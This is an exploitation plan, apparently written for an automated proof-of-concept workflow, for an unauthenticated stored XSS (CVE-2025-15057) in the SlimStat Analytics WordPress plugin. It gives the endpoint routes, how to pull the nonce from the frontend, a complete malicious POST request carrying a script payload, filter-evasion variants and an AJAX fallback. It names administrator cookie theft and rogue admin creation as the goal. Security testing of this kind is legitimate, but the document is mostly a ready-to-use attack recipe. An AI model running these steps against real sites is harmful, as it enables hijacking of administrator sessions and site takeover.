Exploitation Research Plan - CVE-2025-15057

1. Vulnerability Summary

The SlimStat Analytics plugin (<= 5.3.3) is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin fails to sanitize or escape the fh (fingerprint) parameter collected during visitor tracking requests. This malicious payload is stored in the database and subsequently executed in the browser of an administrator when they view the Real-time Access Log report.

2. Attack Vector Analysis

• Endpoint: WordPress REST API or admin-ajax.php tracking endpoint.
  • REST Route: /wp-json/wp-slimstat/v1/track (Primary in version 5.3.x).
  • AJAX Action: slimstat_track (Fallback/Alternative).
• Vulnerable Parameter: fh (Fingerprint Hash).
• Authentication: None required (Unauthenticated). Tracking is designed to capture data from all site visitors.
• Preconditions: The plugin must have tracking enabled (default state).

3. Code Flow

1. Entry Point (Tracking): The plugin registers a REST route in wp_slimstat::init() via \SlimStat\Providers\RESTService::run().
2. Data Acquisition: When a tracking request is sent (e.g., via the browser-side script wp-slimstat.js), the server-side logic (likely in src/Providers/RESTService.php or wp_slimstat::slimtrack_ajax()) extracts parameters from the request.
3. Storage: The fh value is extracted and passed to a database insertion method, likely wp_slimstat_db::insert(). The source code for wp_slimstat_db is not fully provided, but based on the vulnerability description, this value is stored without sanitization.
4. Sink (Rendering): An administrator accesses the dashboard at /wp-admin/admin.php?page=slimview1.
5. Execution: The file admin/view/right-now.php calls wp_slimstat_db::get_recent(). It iterates through the results and renders the visit details. The fingerprint (fh) is typically displayed in a tooltip or a specific column (e.g., as a unique identifier for the visitor). Because admin/view/right-now.php fails to use esc_html() or esc_attr() on this value, the stored script executes.

4. Nonce Acquisition Strategy

Tracking requests in SlimStat usually require a nonce to prevent spam, even for unauthenticated users. This nonce is typically localized in the frontend.

1. Identify Script Localization: The plugin enqueues the tracker in wp_slimstat::enqueue_tracker.
2. Shortcode: The tracking script is usually loaded on any page where tracking is active. By default, this is the entire frontend.
3. Extraction:
   • Action: Create a dummy post/page to ensure the script triggers.
   • Command: wp post create --post_type=page --post_status=publish --post_title="Tracking Test" --post_content="Tracking Page"
   • Navigation: Use browser_navigate to the URL of the new page.
   • JS Variable: SlimStat localizes its configuration in a variable named SlimStatParams (inferred from common plugin patterns) or similar.
   • Verification: Use browser_eval("window.SlimStatParams") to find the exact key. Based on typical SlimStat versions, the key is extensions.nonce or simply nonce.

5. Exploitation Strategy

The goal is to send a malicious fh value that stores a script to exfiltrate the administrator's cookies or create a new admin user.

Step-by-Step Plan:

1. Identify Tracking Endpoint:
   Verify if the site uses the REST API (preferred in 5.3.x) or AJAX.
2. Extract Nonce:
   Navigate to the homepage and use browser_eval to extract the nonce from the SlimStatParams object.
   Example: browser_eval("SlimStatParams.nonce").
3. Send Malicious Tracking Request:
   Perform a POST request to the REST API endpoint.
   • URL: /wp-json/wp-slimstat/v1/track
   • Method: POST
   • Content-Type: application/x-www-form-urlencoded or application/json.
   • Parameters:
     • fh: <script>alert('CVE-2025-15057_XSS')</script>
     • ref: http://example.com/ (Base64 encoded if required by the plugin: aHR0cDovL2V4YW1wbGUuY29tLw==)
     • res: 1920x1080
     • _wpnonce: [EXTRACTED_NONCE]

Example HTTP Request (via http_request):

{
  "method": "POST",
  "url": "http://localhost:8080/wp-json/wp-slimstat/v1/track",
  "headers": {
    "Content-Type": "application/x-www-form-urlencoded"
  },
  "body": "fh=%3Cscript%3Ealert(document.domain)%3C/script%3E&_wpnonce=[NONCE_VALUE]&url=http%3A%2F%2Flocalhost%3A8080%2F"
}

6. Test Data Setup

1. Plugin Status: Ensure wp-slimstat is active and version <= 5.3.3.
2. Tracking Settings: Ensure "Enable Tracking" is 'on' (default).
3. Administrator User: Have an active admin user (standard in PoC environments).
4. Target Page: No specific shortcode is needed as SlimStat typically tracks all pages, but creating a public page ensures the tracker script and nonce are available.

7. Expected Results

1. The tracking request returns a 200 OK or 204 No Content response.
2. The database (table wp_slim_stats) now contains a record where the fingerprint column holds the <script> payload.
3. When an admin navigates to /wp-admin/admin.php?page=slimview1, a JavaScript alert box appearing with the site's domain.

8. Verification Steps

1. Database Check:
   Use WP-CLI to verify the payload is stored:
   wp db query "SELECT fingerprint FROM wp_slim_stats ORDER BY st_id DESC LIMIT 1;"
2. Admin UI Check:
   Use browser_navigate as an administrator to http://localhost:8080/wp-admin/admin.php?page=slimview1.
   Check for the presence of the alert or inspect the page source for the unescaped payload.

9. Alternative Approaches

• Encoding: If the payload is blocked by simple string matching, try encoding the fh parameter or using an <img> tag with onerror.
• AJAX Fallback: If the REST API is disabled, use the admin-ajax.php endpoint:
  • Action: slimstat_track
  • Body: action=slimstat_track&fh=<script>...</script>&_wpnonce=[NONCE]
• Referer/URL Parameters: Some versions of SlimStat also exhibit XSS in the ref (referer) or url parameters if they are not correctly handled in the "Recent Referers" or "Top Pages" reports. These can be tested if fh fails.